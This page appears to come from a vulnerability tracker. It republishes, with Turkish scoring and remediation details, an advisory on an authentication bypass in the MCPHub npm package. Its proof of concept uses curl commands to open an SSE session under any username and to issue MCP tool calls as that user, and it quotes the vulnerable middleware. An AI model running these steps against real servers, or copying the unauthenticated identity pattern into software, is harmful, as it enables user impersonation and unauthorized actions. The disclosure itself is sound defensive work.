GHSA-wf8q-wvv8-p8jf: @samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation
Noroxi değerlendirmesi
Öncelik: İzleyin (aksiyon skoru 36/100)
- İzlediğimiz kaynaklarda (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) herkese açık istismar kodu ya da sahada sömürü kaydı yok.
- İnternetten erişebilen herkes tetikleyebilir. Hesap ya da parola gerekmez. Kullanıcının bir şey yapması gerekmez. Özel bir koşul gerekmez; tekrarlanabilir.
- Düzeltilmiş sürüm: @samanhappy/mcphub (npm) 0.12.15.
Şimdilik düşük öncelik. @samanhappy/mcphub (npm) 0.12.15 ya da daha yeni sürüme yükseltin.
Kaydın verisinden otomatik üretilir: CVSS (NVD ve CNA), CISA KEV ve SSVC, FIRST EPSS, istismar kaynakları, düzeltme sürümleri. Nasıl hesaplıyoruz
Birincil kaynaklar: OSV
### Summary A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment. ### Details MCPHub provides user-scoped SSE endpoints at the path `/:user/sse/:group`. The `sseUserContextMiddleware` in `src/middlewares/userContext.ts` (lines 42–75) extracts the username from `req.params.user` and constructs a fabricated `IUser` object directly, bypassing all authentication: ```typescript export const sseUserContextMiddleware = async ( req: Request, res: Response, next: NextFunction, ): Promise<void> => { const userContextService = UserContextService.getInstance(); const username = req.params.user; // ← Taken directly from URL, no validation whatsoever if (username) { // Note: In a real implementation, you should validate the user exists // and has proper permissions const user: IUser = { username, // ← Completely attacker-controlled password: '', isAdmin: false, // TODO: Should be retrieved from user database }; userContextService.setCurrentUser(user); // ← Fabricated identity is accepted as real attachCleanupHandlers(); console.log(`User context set for SSE/MCP endpoint: ${username}`); next(); } // ... }; ``` The SSE routes in `src/server.ts` (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain: ```typescript // User-scoped routes with user context middleware this.app.get( `${this.basePath}/:user/sse/:group(.*)?`, mcpConnectionRateLimiter, // Only rate limiting sseUserContextMiddleware, // Identity from URL — no auth (req, res) => handleSseConnection(req, res), ); ``` Additionally, `UserContextService` is a **singleton** that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362). ### PoC **Prerequisites:** A running MCPHub instance with `enableBearerAuth: false` (or bearer keys not configured). **Step 1 — Connect to the SSE endpoint as any arbitrary user:** ```bash curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse ``` Expected response — a valid SSE session is created: ``` event: endpoint data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 ``` **Step 2 — Verify on the server side (server logs):** ``` [INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated [INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages [INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated ``` The server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated. **Step 3 — Execute MCP tool calls under the spoofed identity:** Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context: ```bash curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}' ``` ### Impact This is a **user identity spoofing** vulnerability on the MCP transport layer. Any unauthenticated network user can: - **Impersonate any user**, including administrators, on SSE/MCP endpoints - **Execute MCP tool calls** under a spoofed user's identity, potentially accessing user-scoped resources and data - **Poison audit logs** — all actions are recorded under the fabricated username, destroying accountability and forensic value - **Access user-scoped servers and groups** that should only be available to authenticated users All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up. Reported by the Eresus Security Research Team.
- Yayın
- 14 May 2026
- Güncelleme
- 14 May 2026
- EPSS
- —
- CWE
- CWE-290
Rapor araçları
Aksiyon skoru
36
Şimdilik düşük öncelik.
- CVSS
- 36 / 40 · 9.1 / 10
- CISA KEV
- 0 / 30 · Listede değil
- EPSS
- 0 / 30 · —
Bu kayıt değişirse haber alın
- KEV'de değil: sahada sömürü kaydı yok
- Herkese açık istismar kodu kaydı yok
- Düzeltme yayımlandı
Bunlardan biri değişirse günlük e-posta özetinde haber veririz.
Sürümünüz etkileniyor mu? Kontrol edinNoroxi analizi
Sizin ortamınızda ne anlama geliyor?
Yukarıdaki değerlendirme kaydın verisinden otomatik üretilir; ortamınızı bilmez. Bu açığın sizde gerçekten sömürülebilir olup olmadığını ve hangi önlemin yeteceğini ekibimiz sizin sistemlerinizde doğrular.
Bu ürünü kullanıyoruz, yardım isteyinEtkilenen sistemler
Sürümünüz etkileniyor mu?
Ürünü seçip kullandığınız sürümü yazın. Bu kaydın sürüm aralıklarıyla tarayıcınızda karşılaştırılır; sürüm hiçbir yere gönderilmez.
| Üretici | Ürün | CPE |
|---|---|---|
| npm | @samanhappy/mcphub | pkg:npm/%40samanhappy/mcphub |
Paket düzeyi etkilenme
OSV ve GitHub Advisory verisi: ekosistem, paket ve aralık. SBOM eşleşmesi bu tabloyu kullanır.
| Ekosistem | Paket | Etkilenen aralık | Düzeltme |
|---|---|---|---|
| npm | @samanhappy/mcphub | 0.12.15 öncesi | 0.12.15 |
Düzeltme
Hangi sürüme geçmeli
Üretici, paket deposu ve Microsoft kayıtlarından derlenen düzeltme sürümleri. Yükseltmeden önce üreticinin notunu doğrulayın.
| Ürün / paket | Düzeltilmiş sürüm | Kaynak |
|---|---|---|
| npm:@samanhappy/mcphub | 0.12.15 | Paket deposu (OSV) |
İstismar durumu
Bilinen kamuya açık istismar yok
Şu an kamuya açık bir istismar görülmedi. Bu, güvende olduğunuz anlamına gelmez; yalnızca eşiğin biraz daha yüksek olduğunu gösterir.
Araştırma bağlamı
Pentester ve araştırmacı için: saldırı profili, puan anlaşmazlığı, zaman çizelgesi, yama commit’leri, kredi, varyant ve zincir adayları, bug bounty kapsamı. Hepsi mevcut veriden türetilir; istismar kodu içermez.
Zaman çizelgesi
Yayından bugüne: kavram kanıtı, Metasploit modülü, CISA KEV ve düzeltme kaydı. Tarihler kaynakların bildirdiği tarihlerdir.
Yayın dışında tarihli olay yok.
Bu kayıtta yok: EPSS geçmişi · yama commit'i ya da PR bağlantısı · araştırmacı kredisi · varyant ya da zincir adayı · herkese açık ödül programı.
Teknik detay
Saldırı koşulları
- İnternetten erişebilen herkes tetikleyebilir.
- Hesap ya da parola gerekmez.
- Kullanıcının bir şey yapması gerekmez.
- Özel bir koşul gerekmez; tekrarlanabilir.
Başarılı olursa
- Gizlilik
- yüksek · veriler okunabilir
- Bütünlük
- yüksek · veri ya da yapılandırma değiştirilebilir
- Erişilebilirlik
- yok
- Saldırı vektörü
- Ağ
- Karmaşıklık
- Düşük
- Gereken yetki
- Yok
- Kullanıcı etkileşimi
- Gerekmez
- Kapsam
- Değişmez
- Gizlilik etkisi
- Yüksek
- Bütünlük etkisi
- Yüksek
- Erişilebilirlik etkisi
- Yok
Zayıflık sınıfı (CWE)
CWE-290 · Authentication Bypass by SpoofingCVSS vektörü
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
osv
Saldırı bağlamı
Bu zafiyet sınıfının (CWE) MITRE CAPEC saldırı desenleri ve ATT&CK teknikleri. Tespit kuralı ve tehdit avı için başlangıç noktası.
Saldırı desenleri (CAPEC)
- Exploitation of Trusted IdentifiersCAPEC-21olasılık: High · High
- Exploiting Trust in ClientCAPEC-22olasılık: High · High
- Creating a Rogue Certification Authority CertificateCAPEC-459olasılık: Medium · Very High
- Web Services API Signature Forgery Leveraging Hash Function Extension WeaknessCAPEC-461High
- Signature SpoofCAPEC-473
- Signature Spoofing by MisrepresentationCAPEC-476olasılık: Low · High
- Session Credential Falsification through PredictionCAPEC-59olasılık: High · High
- Reusing Session IDs (aka Session Replay)CAPEC-60olasılık: High · High
ATT&CK teknikleri
- Masquerading: Invalid Code SignatureT1036.001
- Access Token ManipulationT1134
- Access Token Manipulation:Token Impersonation/TheftT1134.001
- Steal Application Access TokenT1528
- Steal Web Session CookieT1539
- Use Alternate Authentication Material:Web Session CookieT1550.004
- Subvert Trust Controls: Code SigningT1553.002
- Adversary-in-the-MiddleT1557
Değişiklik günlüğü (1)
- Düzeltme✗ → ✓
Takip ettiğiniz kayıtlarda bu değişiklikler bildirim olarak da gelir. →
Referanslar
Tüm referansları göster (2 daha)Daha az göster
Üretici bildirimleri ve resmî kayıtlar. İstismar/PoC bağlantıları bilinçli olarak dışarıda bırakıldı.